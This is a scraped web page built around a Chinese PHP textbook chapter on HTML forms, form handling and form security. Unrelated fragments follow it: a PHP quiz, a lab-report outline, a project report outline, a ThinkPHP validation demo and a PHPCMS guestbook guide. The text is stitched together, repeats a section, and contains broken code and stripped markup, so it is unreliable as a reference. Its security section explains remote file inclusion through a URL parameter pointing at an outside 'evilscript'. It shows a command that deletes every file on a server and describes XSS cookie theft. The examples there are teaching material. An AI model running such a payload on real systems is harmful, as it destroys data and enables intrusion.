PHP表单详解

PHP表单详解
PHP表单详解

PHP表单详解

提到Web开发,就不得不提到HTML,它在若干年以来一直作为Web用户界面设计的事实标准。虽然现在WAP/XML等页面脚本的使用使得HTML作为一枝独秀的形势难以维系,但是如果要编写前端PHP的Web应用,开发者仍然需要了解HTML语言,尤其是HTML的表单部分。

在本章,我们将学习如下内容:

? 使用Dreamweaver设计HTML表单

? 使用PHP发送与接收表单数据

? PHP表单多页的传值及处理

? 使用PHP验证用户输入

? 在PHP中防止一些轻量级的攻击

? PHP的两种会话管理方式:COOKIE和SESSION

? 规划我们的Web应用程序

5.1 表单与HTML

HTML是一种简单的标记语言,为使用者提供了极大的灵活性,这一点使它很容易学习和编写,也同样是由于这一点,太多的网页设计人员对HTML的设计与编码几乎为滥用,导致一个页面在IE、Firefox、Mozila几个不同浏览器中显示得千差万别。

如今的Web设计已经启用新的标准,旨在使网页的HTML只包含内容和信息,以标准HTML和CSS(级联样式表)存储信息的方式,也就是现在流行的DIV+CSS设计标准。

有一些人建议使用XML来取代HTML语言。虽然XML有这样那样的强大功能,不过因为入门的门槛较高,让人望而生畏,而且目前有太多的HTML型网站,因此目前沿行的标准是HTML与XML的兼容规格,叫做XHTML,用以从HTML 过渡到XML。在本书中的代码都是基于XHTML兼容性的,建议你也将XHTML 应用到Web项目中。创建和处理表单是PHP开发者的一个重要能力指标。下面我们开始介绍如何设计表单。

表单是Web应用中最常用的组件,由提交按钮以及其他相关元素组成。表单被应用在各个领域中,用于实现注册用户、填写银行账户和登录等功能。

表单使用

作为开始标签,以结尾,否则将不起任何作用。在一个HTML页面中允许有若干个表单,在编写时以表单的名字(name)和Form ID作为它们之间的区分。下面是最简单的表单,代码如下:

这个表单在浏览器上只会显示一个按钮―提交查询内容‖字样,没有太多的意义。如果要提交数据并形成一个完整的表单,需要在

标签增加两个比较重要的属性标签:action和method,如以下表单所示:

电子邮件:

其中,action标签指的是接收处理结果的文件位置,当action值为空时,则提交给当前文件本身,如果action的值为其他文件或URL,则提交给该文件或URL 地址处理。

method标签是描述提交数据时使用的方法,它有两种值:GET和POST,如果没有设置method属性或该属性为空值,浏览器默认method的值为POST方法。下面是处理POST表单的方法。

例5-1:getPasswd.php –接受POST表单提交的值

$action = $_SERVER['PHP_SELF'];

if ($_SERVER['REQUEST_METHOD'] == 'POST') {

echo '使用POST方法传递表单值';

echo "$_POST[email]";

}

?>

电子邮件:

如果要在浏览器中发送表单或数据给服务器端,使用GET或POST方法都能实现。GET方法是在访问URL时,使用浏览器地址栏来传递值。我们可以在很多网站上看到这类URL串,图5-1所示的就是使用GET方法传递参数。

图5-1

GET方法方便直观,缺点是访问该网站的用户也可以修改URL串后发送给服务器,如果程序处理得不够好很容易出错,而且GET传递的字符串长度不能超过250个字符,如果超长,浏览器会自动截断,导致数据缺失。另外,GET方法不支持ASCII字符之外的任何字符,比如包含有汉字或其他非ASCII 字符时,需要使用额外的编码操作,虽然有时候浏览器也能自动完成(可以使用url_encode 和url_decode函数,使用方法详见2.9.2 节)。

POST方法发送变量数据时,对于用户来说是不透明的,按HTTP协议来说,数据附加于header的头信息中,用户不能随意修改,这对于Web应用程序而言,安全性要好得多,而且使用POST可以发送大体积的数据给Web服务器。

因为POST是随HTTP的header信息一起发送的,当触发POST表单提交后,如果用户浏览页面时单击―后退‖按钮,浏览器不会自动重发POST数据。如果用户此时单击―刷新‖按钮,将会有―数据已经过期,是否重新提交表单‖的提示,这一点不如GET使用方便。使用GET传值时,即便用户使用―后退‖或―刷新‖按钮,浏览器的URL地址也是仍然存在的。

因此,我们在开发中需要根据实际应用灵活选择GET和POST来提交表单数据。值得一提的是,如果在HTML中缺少表单结束标记,那么整个表单是不会触发任何提交动作的。在实际开发时,一些粗心的人会发现单击按钮没有任何反映,其实细心检查一下表单的代码就可以了,有时即使少写了一个HTML字符,浏览器也不会替我们干活的。

5.4 表单元素

表单所使用的标签元素有十几个,PHP开发中常用及较重要的标签如表5-1所示。

现,当用户填写资料表单和跨页之间传值时,可以使用该标签传递一些隐含的值。password密码文本框用于隐藏密码,用户输入的文本将以*显示在文本框中,但是密码并没有加密,只是被*替换显示,这点请注意。

下面介绍表单的属性,它们用于表单中约束表单元素的行为或显示,其含义与约束如表5-2所示。

表5-2

等,可以参阅HTML相关资料。

在一些动态脚本中,需要使用PHP根据不同的请求从数据库生成表单元素,下面我们就来展示几种生成表单按钮或选项的方法。

1.动态生成一组单选按钮。

$options = array("010" => "北京",

"020" => "上海",

"024" => "沈阳",

"0411" => "大连");

$default = "024";

$html = generate_radio_group("city_id", $options, $default);

echo $html;

function generate_radio_group($name, $options, $default="") {

$name = htmlentities($name);

foreach($options as $value => $label) {

$value = htmlentities($value);

$html .= "

if ($value == $default){

$html .= "CHECKED ";

}

$html .= "NAME=\"$name\" V ALUE=\"$value\">";

$html .= $label . "
";

}

return($html);

}

?>

该脚本将生成一列单选按钮组,名称为city_id,默认选项为024-―沈阳‖。2.动态生成多选项下拉列表菜单。

function generate_checkboxes($name,$options, $default=array()) {

if (!is_array($default)){

$default = array();

}

foreach($options as $value => $label) {

$html .= "

if (in_array($value, $default)){

$html .= "checked ";

}

$html .= "name=\"{$name}[]\" value=\"$value\">";

$html .= $label . "
";

}

return($html);

}

$interests = array("音乐" => "音乐",

"电影" => "电影",

"互联网" => "互联网",

"旅游" => "旅游");

$html = generate_checkboxes("interests",$options, $interests);

?>

选择您的爱好:

3.生成多选下拉列表菜单。

$options = array(

'1' => '请选择',

'news' => '新闻',

'events' => '事件',

'publications' => '稿件'

);

$default = "news"; //默认已选择的项

$html =generate_muilti_option("select", $options, $default);

echo $html;

function generate_muilti_option ($name,$options, $default){

//建立一个允许多选的列表单

echo '';

}

?>

一般动态生成的菜单,多为从数据库取得数据或数据数组,转换成动态HTML 菜单,也可以手工创建.

5.5 表单的处理方法

5.5.1 检查表单提交的来源

有些时候,我们需要对表单提交的来源进行处理,比如只允许某个主机或向脚本本身进行提交,防止有的人伪造相同的表单向我们的程序提交,造成安全问题。前面我们介绍到,PHP的$_SERVER服务器超级全局数组提供了一个叫$_SERVER['HTTP_REFERER']的变量,用于保存上一页的来源,比如表单提交或者超级链接的URL地址。如果有人从他的计算机中提交表单或从浏览器地址中直接输入当前脚本名称,该变量会保存表单来源或为空值,这样我们就可以通过它的值进行处理。

下面的例子只允许文件本身提交表单传递值。

例5-2:formreferer.php –判断表单来源地址

$action = $_SERVER['PHP_SELF'];

if ($_SERVER['REQUEST_METHOD'] == 'POST'){

$ref = $_SERVER['HTTP_REFERER'];

$srv = "http://{$_SERVER['SERVER_NAME']}$action";

echo "当前来源为:

$ref

服务器地址为:

$srv

--------------------------------------------------------------------------------

";

if (strcmp($srv, $ref) == 0){

echo "匹配";

} else{

echo "不允许站外提交";

}

}else{

echo '请提交表单';}

?>

该例中用到的$_SERVER服务器变量有如下几个:

? HTTP_REFERER 保存一个完整的来源URL地址。

? SERVER_NAME 当前的服务器名称。

? PHP_SELF 当前脚本的完整路径,包括文件名。

我们可以通过―http:// == ‖来比较,如果相同,则是合法的表单提交,否则不予处理。运行例5-2脚本,单击―提交‖按钮后的结果如图5- 2所示。

图5-2

5.5.2 一个完整表单处理

前面我们已经了解了处理表单的简单方式。下面我们将创建一个复杂的表单,代码如下所示。

开发语言:

姓名:

id="username" />

密码:
年龄:

自我介绍:

体育爱好:

网球

足球

篮球

保龄球

php

java

perl

c++

.NET

delphi


开发工具:

 

该表单包括了常用表单元素:单行文本框、多行文本框、单选项(radio)、多选项(checkbox),以及多选菜单。下面进行详细的说明。

? maxlength是与密码文本框关联的属性,它限制用户输入密码的最大长度为10个字符。

? age列表框是列表菜单,它的命名属性下都有自己的值供选择。selected是一个特定的属性选择元素,如果某个option附加有该属性,在显示时就把该项列为第一项显示。

? intro文本框中的内容,按照rows和cols显示文字、行和列宽。

? fave_sport是一组单选按钮(radio),我们要按组命名元素名称,比如这一组单选按钮都叫做fave_sport,用户只可选择一个,发送脚本端也只存在一个值。? 和单选项一样,所有多选项成员也须有同名的属性,而属性名称需要添加括号[],这样就把多选项的值以数组形式发送给PHP,languages就是这种形式。

? checked标签是指单选项和多选项中的某个值,默认已经被选择。

上面表单的显示画面如图5-3所示。

图5-3

因为上面HTML中的form表单使用的是POST方法传递数据,所以用户提交的数据会保存到$_POST或$_REQUEST的超级全局数组中,我们根据$_POST数组中的值就可以处理提交的数据。

将上面表单中数据提交到someform.php脚本,该脚本的处理逻辑如下:

//通过判断按钮的变量名是否在$_POST中定义,如果有表示该表单已提交

if(isset($_POST["btn_submit"])){

if (empty($_POST['username'])){

echo "您没有输入用户名";

exit(0);

}

if (empty($_POST['password'])){

echo "您没有输入密码: ";

exit(0);

}

echo "您的用户名:".$_POST['user_name']."

";

echo "您的密码(明文):".$_POST['password']."
";

echo "您的年龄:".$_POST['age']."
";

if (!empty($_POST['languages'])){

echo "您选择的语言为:";

//处理用户选择兴趣的checkbox按钮产生的数组

foreach ($_POST['languages'] as $lang){

echo $lang. "  ";

}

} else {

echo "您没有输入任何兴趣爱好";

}

if (!empty($_POST['develop_ide'])){

echo "您使用的开发工具为:";

//处理用户多选开发工具菜单产生的数组

foreach ($_POST['develop_ide'] as $ide){

echo $ide. "  ";

}

} else {

echo "您没有选择开发工具";

}

echo "您的自我介绍:".nl2br($_POST['intro'])."
";

echo "网页隐藏值(通过hidden标签值传递):".$_POST['from']."
";

}

?>

说明:使用POST方式提交表单,通过HTTP协议的header部分传递表单数据,理论上数据的大小无上限。不过,在使用PHP进行POST提交时,文件大小受PHP配置文件(php.ini)限制,我们可以修改php.ini文件中的post_max_size参数,可将默认的2M字节,修改为自己需要的大小,但由于HTTP协议的特性,这个值不宜设置过大,最大以8M为宜。

5.6 其他处理表单的方法

下面,让我们一起来看两种处理表单的编程方法以及它们的优缺点。

5.6.1 使用import_request_variables()函数

使用import_request_variables()函数可以有选择地注册全局变量集合。你可以使用该函数导入$_GET、$_POST和$_COOKIE的值,还可以为每个导入的变量添加前缀(prefix)。

bool import_request_variables ( string types [,string prefix])

参数中types字符串中允许为g、p、c字符,或者3个字符间任意的组合。其中,―g‖表示GET变量,―p‖表示POST变量,―c‖表示cookies。

注意:3个字符的排列顺序是有区别的,当使用―pg‖时,POST变量将使用相同的名字覆盖$_GET变量;反之,当使用―gp‖时,$_GET变量数组将优先于$_POST。prefix参数作为变量名的前缀,置于所有被导入到全局作用域的变量之前。比如我们有个名为―userid‖的$_GET超级全局变量数组,同时提供了―pref_‖作为前缀,那么我们将获得一个名为$pref_userid的全局变量。如果我们要导入其他全局变量(例如$_SERVER变量),则请考虑使用extract()函数(在函数一章中有介绍)。注意,在使用prefix前缀时,不要与现有数据或变量名产生冲突。

使用import_request_variable()函数实现变量导入的脚本例子如下:

//导入POST提交的变量值,前缀为post_

import_request_variable("p","post_");

//导入GET和POST提交的变量值,前缀为gp_,GET优先于POST

import_request_variable("gp","gp_");

//导入Cookie和GET的变量值,Cookie变量值优先于GET

import_request_variable("cg","cg_");

如果我们在import_request_variables()函数中使用了―pg参数‖,请看如下脚本实例:

if(isset($_REQUEST['btn_submit'])){

echo "正常取得的表单POST变量值:".$_REQUEST['Username']."
"; import_request_variables("pg", "import_");

//显示导入的变量名称

echo "使用import_request_variables函数导入的变量值:".$import_Username;

}

?>

请输入您的名字:


该表单提示用户输入一个名字,完成并提交后,脚本会把提交的名字显示在浏览器上,如图5-4所示。

图5-4

注意:prefix前缀参数是必选的,如果未指定前缀,或者指定一个空字符串作为变量前缀,PHP会抛出一个E_NOTICE错误。

import_request_variables()函数为我们提供一个中间方法,适用于如下几种情况:1.当用户不能使用超级变量数组时;

2.在php.ini配置文件的register_globals参数为Off(PHP 5之后的版本默认为Off)时,使用import_request_variables将GET/POST/Cookie这几个超级变量数组导入到全局作用域中。

3.在开发时,只要声明了引入的变量范围,就不必写$_GET或$_REQUEST一堆很长的超级全局数组名称了。

5.6.2 使用extract()函数

我们可以使用extract()函数,比如在接收页面脚本的最前面加上extract($_POST);extract($_GET);这样的语句,导出几个用于表单处理的超级变量数组值,如以下代码所示:

@extract(i_addslashes($_POST), EXTR_OVERWRITE);

@extract(i_addslashes($_GET), EXTR_OVERWRITE);

@extract(i_addslashes($_COOKIE), EXTR_OVERWRITE);

@extract(i_addslashes($_SESSION), EXTR_OVERWRITE);

我们看一个使用extract导出为正常变量的脚本例子:

// 将$_GET和$_POST超级变量数组获取的变量转为正常的变量,这样直接显示变量名称即可

extract($_GET);

extract($_POST);

echo "您好, $username $age";

?>

姓名:

年龄:

实现的界面如图5-5所示。

5.7 多页面间传递数据

当遇到一个非常大的表单时,不可能把所有的表单都放在一个页面里面,需要将一个大表单分解成若干个小表单,并保存于几个页面中,当第一个表单填写完后,需要收集该表单的值并传递给下一个表单页面。

我们可以使用如下方法进行处理。

? 使用表单的隐含元素(hidden)。

? 把当前表单的数据保存在SESSION中(详情请参见会话一章)。

? 把当前表单的数据保存在MySQL数据库中。

你可以从以上三个方案中选择一种易于程序处理和调试的解决方案。表单的传值可以使用POST,这样传递数据的尺寸不成问题,另外,在调试程序时,我们可以通过查看HTML源文件方式,来知道当前的变量是否是预想的值。

对于一个非常大的表单,我们就要想办法把它们分解成两个或更多个表单以方便用户输入,这需要在页面间传值,代码如下:

当多个页面传递数据时,我们可以使用类似上面的语句来处理前一页或通过URL 传递的值。

5.7 多页面间传递数据

当遇到一个非常大的表单时,不可能把所有的表单都放在一个页面里面,需要将一个大表单分解成若干个小表单,并保存于几个页面中,当第一个表单填写完后,需要收集该表单的值并传递给下一个表单页面。

我们可以使用如下方法进行处理。

? 使用表单的隐含元素(hidden)。

? 把当前表单的数据保存在SESSION中(详情请参见会话一章)。

? 把当前表单的数据保存在MySQL数据库中。

你可以从以上三个方案中选择一种易于程序处理和调试的解决方案。表单的传值可以使用POST,这样传递数据的尺寸不成问题,另外,在调试程序时,我们可以通过查看HTML源文件方式,来知道当前的变量是否是预想的值。

对于一个非常大的表单,我们就要想办法把它们分解成两个或更多个表单以方便用户输入,这需要在页面间传值,代码如下:

当多个页面传递数据时,我们可以使用类似上面的语句来处理前一页或通过URL 传递的值。

5.9 表单安全

网站的访客是千差万别的,他可能是一个学生,也可能是一位教授,可能是一个什么都不懂的电脑菜鸟,更有可能是个黑客,不管是弹出意外的错误,还是故意找碴,他们总是喜欢不按我们希望的方式输入,或者寻找我们网站的安全漏洞。网站中一些常见漏洞,很多原因是开发者的大意造成的,当然还有一部分原因是因为操作系统或服务器配置的原因。常见的安全隐患与比例如表5-4所示。

表5-4

这个结果作为我们编写程序时的警钟,它告诉我们,为了保证系统的安全,一定注意这几个漏洞,不要为了贪图一时之便,或者为了执行的效率而牺牲了系统安全性,万一失掉了宝贵的数据,或者网站被别人用来发放不良信息而影响了信誉,就得不偿失了。

在本节中,我们介绍导致站点被连续攻击的漏洞,然后,介绍针对这些问题介绍技术解决方法。

5.9.1 处理全局性错误

可以确定,一些经常发生的错误是完全可以避免的,另外经常浏览安全网站,或订阅相关的邮件列表,可以注意到每周的安全焦点和预防措施,以及专门针对于PHP应用程序的攻防策略。

1.全局变量

一个最基本错误是没有适当地初始化全局变量。注意设置php.ini的开关参数。虽然PHP 5的register_globals参数值默认为Off,但为了防止这种错误的发生,我们仍要注意这个问题,如果程序中不能生成变量,那么这个程序很可能是在register_globals为On的状态下的开发的。

下面的代码就是在register_blobals=On的状态下开发的:

session_start();

/*

* $admin是一个session变量设置验证后的初始值

*/

if (!$admin) {

do_exit();

} else {

do_admin();

}

?>

尽管这段代码看上去非常简单,并且也没有明显的语法错误,好像没有太多安全问题,但是只要存在一个缺陷,就可能导致一个攻击者使用这个程序行使―管理员‖的权限。最多也最容易发生的问题是程序员使用动态的文件包括语句来处理页面流程,如以下代码所示。

include_once $module. '.php';

?>

这个脚本可以被攻击者利用,在服务器上执行任意PHP代码。

如果在浏览器上的URL GET参数,简单地加入?module=https://www.360docs.net/doc/c114671347.html,/evilscript,会是什么效果?如果PHP接收到这个URL,会把$module变量等于https://www.360docs.net/doc/c114671347.html,/evilscript.php。当运行到include()函数时,PHP会尝试在https://www.360docs.net/doc/c114671347.html,包含这个evilscript.php,以及执行这个程序的代码,而evilscript可能包含如下的代码:

'find / -exec rm "{}" ";"';

?>

这串代码可以访问我们的服务器,并且把服务器上所有的文件全部删除!

还有一些潜在的危险,那就是register_globals的一些特性,我们一步一步地处理:首先,我们要在php.ini中将register_globals设置为Off;

第二步,将程序里的$admin,全部换成$_SESSION['admin'];

第三步,我们要解决的是,在程序进行包含操作之前,检查在本地机器中该文件是否存在,如果不存在,则不进行包含操作,比如进行如下的改进:

if (file_exists($module. '.php')) {

include $module. '.php';

}

?>

2.客户端恶意脚本

常见Web站点不安全的编程漏洞包括:密码漏洞、跨站脚本漏洞、不安全的存储漏洞和拒绝服务漏洞。

下面我们一起讨论跨站式XSS脚本攻击技术。

跨站式XSS漏洞主要是因为HTML没有明确区分代码和数据;其次,程序在将用户数据发送回浏览器时没有进行有效的转义,这导致包含有引号的数据被放入页面中。

一个攻击者可能利用一个客户端脚本来执行一些片断,例如JavaScript或VBScript,来窃取Cookies或其他敏感数据,这些攻击只需要通过插入一行HTML 数据到我们的网站就能实施。

例如,这个攻击者可能将一些代码输入到我们网站的文本框,如果我们的程序没有过滤HTML标志,该代码将会被插入到网站数据库中,比如,图5-7所示的用户界面。

图5-7

这是一个显示用户注册的页面,攻击者可能会在文本框中连续输入如下代码:

如果没经过滤就将数据插入到数据库中,在点击查看用户信息时,将会出现图5-8所示的效果。

图5-8

未经验证输入的后果是,攻击者利用XSS 脚本攻击我们的网站,并有可能取得管理员登录的Cookie信息。

另外,在网站的前台页面,如果攻击者在上面的JavaScript中加入一个无限循环,可能就比较麻烦了,浏览者可能需要结束浏览器进程才能避免对话框的再次出现,那么该访问者可能再也不会进入我们的网站。

3.预防XSS攻击的方法

预防XSS攻击最简单的方法就是过滤从表单来的数据,可以使用PHP函数以及数据库的过滤函数。我们使用如下函数或语句。

? 使用htmlspecialchars()解码―'‖,―"‖,―<‖,―>‖和―&‖这些HTML编码,前面我们说过使用htmlentities()转换任意的HTML超文本实体,主要就是过滤输出(过滤

php基础测试

全栈二班php基础测试 一.选择题(每题两分) 1. $a=array(0=>1,1=>2,3=>3,4=>5,10=>1,10); 请问$a数组中值:10,的下标是( d); A.4 B.5 C.2 D.11 2. $a =10; function index(){ $a=20; } echo $a; 请问输出的$a是( a ); A.10 B.20 C.空 D.30 3. 以下哪种标签不是PHP起始符/结束符(C ) A.<% %> B. C. D. 4. 以下代码哪个不符合php语法(C ) A.$_10 B.var $DSAD C.$10 D.$VR 5. PHP表达式$foo =1+”1e1as1”;那么$foo的值是(D ) A. 2 B.edas2 C. 2e1das1 D.11 6. 假设$a = 5; $a-=2, 那么$a =(B ); A.5 B.3 C.7 D.2 7. 在下面中,属于php比较运算符的是() A. = B.! C.= = D.& 8. php中字符串的连接运算符是(D ) A - B + C & D .

9. 定义一个常量用( D )关键字 A.var B.dump C.static D.define 10. 运算符"%"的作用是( C ) A 无效 B 取整 C 取余 D 除 11. 申明全局变量的关键字是(D ) A globals B globla C GLOBALS D global 12. PHP中,单引号和双引号所包围的字符串有什么区别?( D ) A.单引号解析其中\r\t等转义字符,而双引号不解析 B.单引号与双引号速度一样 C.双引号速度快,单引号速度慢 D.双引号解析其中以$开头的变量,而单引号不解析 13. 输出的结果是( A ) A.1,1 B.1,2 C.2,2 D.2,1 14. 以下代码运行的结果为(B )

PHP数据采集实验报告

PHP数据采集实验报告 班级:10网工三班学生姓名:谢昊天学号:1215134046 实验目的和要求: 1、使学生掌握各种Form表单控件的使用; 2、使学生掌握HTML和PHP之间的数据传递; 3、使学生掌握PHP的文件上传; 4、使学生能够灵活运用表单完成各种数据提交任务。 实验内容: 首先完成一个HTML的表单页面,该页面可以实现学生信息的提交功能。提交的信息包括:学生姓名(手动输入),登录密码、确认密码(两种密码需要对比),学生班级(下列列表选择),学生学号(输入),学生性别(单选框),学生的兴趣爱好(多选),学生的头像(需要用文件上传完成),学生的课程成绩,学生的备注信息以及其他信息(自己指定)。 然后设置两个按钮,一个提交,一个重置。 最后把表单采集的数据提交给后台的PHP服务器进行处理,最终可以在网页上显示用户输入的个人所有信息。 有兴趣的学生可以考虑对每个表单输入域的数据进行数据合法性检测。 实验步骤与调试过程: 1、添加form表单,设置action属性作用是当前表单数据提交的目的地址,method 属性设置表单数据的提交方式,enctype设置表单提交数据的编码方式; 2、新建一个注册信息.html网页文件,在新建一个index.php文件; 3、用文本打开注册信息.html文件,在 中新建一个表单,使表单的action行为指向index.php文件,并将提交方式设置为post; 4、创建三个文本框,分别是姓名、学号、成绩等,并分别设置他们的控件名字和value值; 5、对于学生的班级,选用下拉框,使用option关键字列出所有的学生班级,列出五个选项,分别为12网工1、12网工2、12网工3、12网工4、12网工5等五个选项; 6、性别选用单选按钮,并将其value值分别设置为male、female。在提交时分别代表男和女; 7、设置上传框,这里我们为之设置了一个隐藏域,并将其value值设置为5024; 8、对于用户的兴趣爱好我们使用复选框,并将其name命名为一个数组internet[];

PHP项目报告

华东交通大学理工学院 课程设计报告书 所属课程名称: PHP程序设计 题目:小说网站 分院:电信分院 专业班级: 13级计科2 班 学号: 20130210440222 学生姓名:段刘涛 指导教师:吴宇鹏 2016年 3 月 20 日

目录 第一章定义阶段 (2) (1)软件计划 (2) (2)需求分析 (2) 第二章开发阶段 (5) (1)软件设计 (5) (2)程序编码 (5) (3)软件测试 (5) 第三章维护阶段 (6) (1)运行维护 (6) 第四章课程设计心得 (11) 第五章参考文献(资料) (12)

第一章定义阶段 (1)软件计划 软件计划(问题的定义及规划):主要确定软件的开发目标及可行性。 开发目标:小说网站。 可行性分析:不可行,功能需求太多无法达到想要的结果。 (2)需求分析 需求分析:在确定的软件开发可行的情况下,对软件需要实现的各个功能进行详细分析。需求分析是一个很重要的阶段,这一阶段做的好,将成为整个软件开发项目的成功打下良好的基础。 小说网站需求分析: (1)主页系统功能简述 1.自定义模板 2.自定义栏目(随便自己在后台添加) 3.新闻文章板块,栏目可以自己随便添加 4.数据图片可以站外存储 5.后台广告添加 6.友情链接模块 7.支持伪静态,静态,动态三种浏览方式 8.多用户管理 (2)个人写书程序功能 1.实现了的日志,分类,评论,的管理 2.后台动态变更前台主题 3.支持页面静态化 4.支持数据库定时备份 5.可发表私有文章 (3)会员系统 1.会员注册与会员管理系统 2.会员资料管理 3.会员修改登录密码

怎么样用HTML来写表单

怎么样用HTML来写表单 表单是实现动态网页的一种主要的外在形式。表单和表单域并不具有排版的能力,表单网页的制作最终还是要由表格组织起来。html表单是html页面与浏览器端实现交互的重要手段。利用表单可以收集客户端提交的有关信息。 在浏览网站时经常会遇到表单,它是网站实现互动功能的重要组成部分。无论网站使用的是那种形式的语言来实现网站的互动功能,例如ASP、PHP、JSP,表单已经成为它们统一的外在形式。 表单的主要功能是收集信息,具体说是收集浏览者的信息。例如在网上要申请一个电子信箱,就必须按要求填写完成网站提供的表单页面,其主要内容是姓名、年龄、联系方式等个人信息。又例如要在某论坛上发言,发言之前要申请资格,也是要填写完成一个表单网页。 表单可以用于调查、订购、搜索等功能。一般的表单由两部分组成,一是描述表单元素的html源代码,二是客户端的脚本,或者服务器端用来处理用户所填信息的程序。在html里,我们可以定义表单,并且使表单与CGI或ASP等服务器端的表单处理程序配合。 表单信息处理的过程为:当单击表单中的提交按纽时,输入在表单中的信息就会上传到服务器中,然后由服务器中的有关应用程序进行处理,处理后或者将用户提交的信息储存在服务器端的数据库中,或者将有关的信息返回到客户端浏览器中。 表单是网页上的一个特定区域。这个区域是由一对标记定义的。这一步有几方面的作用。第一方面,限定表单的范围。其它的表单对象,都要插入到表单之中。单击提交按纽时,提交的也是表单范围之内的内容。第二方面,携带表单的相关信息,例如处理表单的脚本程序的位置、提交表单的方法等。这些信息对于浏览者是不可见的,但对于处理表单确有着决定性的作用。 基本语法 01 02 …… 03 语法解释

标记的属性如下表所示 属性描述

表单验证提交

ThinkPHP示例之:表单提交验证 本示例是表单提交验证处理,提交的时候增加了验证码?防止机器人添加数据。 验 证 码: 刷新验证码

法机关的 哈哈哈[6930@https://www.360docs.net/doc/c114671347.html, 2011-01-07 13:46:37] 惹人是否四大发生的个而归去大哥司法官阿文哥如果吧;lkkk凭空平【上课;浦东司法机关的 233 [chlyyy216@https://www.360docs.net/doc/c114671347.html,2011-04-29 17:18:24] 43 233 [chlyyy216@https://www.360docs.net/doc/c114671347.html,2011-04-29 17:18:32] 43 233 [chlyyy216@https://www.360docs.net/doc/c114671347.html,2011-04-29 17:18:34] 43 233 [chlyyy216@https://www.360docs.net/doc/c114671347.html,2011-04-29 17:18:36] 43 233 [chlyyy216@https://www.360docs.net/doc/c114671347.html,2011-04-29 17:18:37] 43 233 [chlyyy216@https://www.360docs.net/doc/c114671347.html,2011-04-29 17:18:37] 43 233 [chlyyy216@https://www.360docs.net/doc/c114671347.html,2011-04-29 17:18:37] 43 233 [chlyyy216@https://www.360docs.net/doc/c114671347.html,2011-04-29 17:18:38] 43 233 [chlyyy216@https://www.360docs.net/doc/c114671347.html,2011-04-29 17:18:38] 43 233 [chlyyy216@https://www.360docs.net/doc/c114671347.html,2011-04-29 17:18:42] 43

$this->display(); } // 检查标题是否可用 public function checkTitle() { if(!empty($_POST['title'])) { $Form = D("Form"); if($Form->getByTitle($_POST['title'])) { $this->error('标题已经存在'); }else{ $this->success('标题可以使用!'); } }else{ $this->error('标题必须'); } } // 处理表单数据 public function insert() { $Form = D("Form"); //验证码验证 if($_SESSION['verify'] != md5($_POST['verify'])) { $this->error('验证码错误!'); } if($vo = $Form->create()) { if($Form->add()){ $vo['create_time'] = date('Y-m-d H:i:s',$ vo['create_time']); $vo['content'] = nl2br($vo['content']); $this->ajaxReturn($vo,'表单数据保存成功!',1); }else{

PHP学习心得与体会

PHP学习心得与体会 我想在讲述自己的学习方式前,对那些期望能从我的文 章中获得有用信息的人说一句心里话: 我的文章不会对您的学习起到实质性的作用,您能否成功,还得靠自己的,坚持,坚持,再坚持,就是步入成功的不二法门。 我先把我自己学习 PHP的过程做一下概括: ⑴熟悉HTML/CSS/JS等网页基本元素,完成阶段可自行制作完整的网页,对元素属性达到熟悉程度 (2) 理解动态语言的概念,运做机制,熟悉PHP语法 ⑶学习如何将PHP与HTML结合起来完成简单动态页面 (4)接触MYSQL,开始设计数据库程序(5)不断巩固,摸 透大部分PHP常用函数,并可理解OOP,MYSQL优化,以及模板 (6)完成一个功能齐全的动态站点我的这套 线路可能跟许多学习 PHP的爱好者不谋而合,这也算是一个循序渐进的学习过程,不过新手不要看到上面的概括就以为学习蛮简单的,默默在此不得不对您稍微泼一下冷水,任何东西其实都不简单,即使是小吃部的烧饼也不是一下子就会做成的。 (3) 我先解释一下我的学习思路。 (4) 首先,理解网站这一概念之后不难看出,任何网站

都是由网页组成的,也就是说想完成网站,必须先学会做网页,因此必须要掌握了 HTML,才能为今后制作网站打下基础。在学习HTML中我想边学边做是最有效的方式,当 然这一方式对于学习 PHP同样是最有效的。HTML中的 任何元素都要亲自实践,只有明白了什么元素会起到什么效果之后,你才会记忆深刻,而一味的啃书,绝对是不行的,我想大部分新手之所以觉得概念难学,大部分是一个字 “懒”,懒是阻止进步的最大敌人,所以克服掉懒的习惯, 才能更快的学好一样东西。也许您在学习PHP的时候只 想尽快的开发一个网站,也就会想我做网站,干嘛要学什么网页这些小儿科?不难看出,眼高手低的新手不在少数,这种思想无疑于建造空中楼阁,你不建地基,何来的房顶呢?OK,掌握静态网页的制作技术是学习开发网站的先决条件,这一点就讲到这里,因为这篇文章不是教程文章,也就不对技术进行深入的刨析了。我假设你目前已经可以完成一 个静态页面了,当然,做的好看难看是另外一说,皮皮我的第一个网页也没好看到哪去,但是“孩子”再丑,咱们做“爹妈”的也不能嫌弃不是?这毕竟是咱的成果。那么咱们就开始学习动态语言的概念吧,刚一接触动态语言,可能很多人都会蒙了,怎么这乱七八糟的东西,在网页里显示的时候却是另外一码事?其实这并不算乱七八糟,你写的HTML代码不 也一样是一堆堆的字符吗?毕竟,代码并不是作为直接输出的,而

PHP POST用法与说明

$_POST 变量用于收集来自 method="post" 的表单中的值。
$_POST 变量
$_POST 变量是一个数组,内容是由 HTTP POST 方法发送的变量名称和值。 $_POST 变量用于收集来自 method="post" 的表单中的值。从带有 POST 方法的表单发送的信息, 对任何人都是不可见的(不会显示在浏览器的地址栏),并且对发送信息的量也没有限制。
例子
method="post">
Enter your name: Enter your age:


当用户点击提交按钮,URL 不会含有任何表单数据,看上去类似这样:
https://www.360docs.net/doc/c114671347.html,/welcome.php
"welcome.php" 文件现在可以通过 $_POST 变量来获取表单数据了(请注意,表单域的名称会自动成 为 $_POST 数组中的 ID 键):
Welcome $_POST["name"]; $_POST["age"];
?>.

?> years old!
为什么使用 $_POST?
? 通过 HTTP POST 发送的变量不会显示在 URL 中。 ? 变量没有长度限制。
不过,由于变量不显示在 URL 中,所以无法把页面加入书签。
$_REQUEST 变量
PHP 的 $_REQUEST 变量包含了 $_GET, $_POST 以及 $_COOKIE 的内容。 PHP 的 $_REQUEST 变量可用来取得通过 GET 和 POST 方法发送的表单数据的结果。
例子

phpcmsv9不用插件打造留言板,而是用表单向导模块和dialog

不用插件打造意见反馈(留言板),先给个图: 表单向导+dialog 一、表单向导 1.登陆Phpcmsv9后台https://www.360docs.net/doc/c114671347.html,/index.php?m=admin 2.模块》模块管理》表单向导》添加表单向导

1)名称::意见反馈(请输入表单向导名称) 2)表名:message(请填写表名) 3)简介:(这个可以不填) 4)下三个可以不用改 5)允许游客提交表单:要选是 7)模板选择:

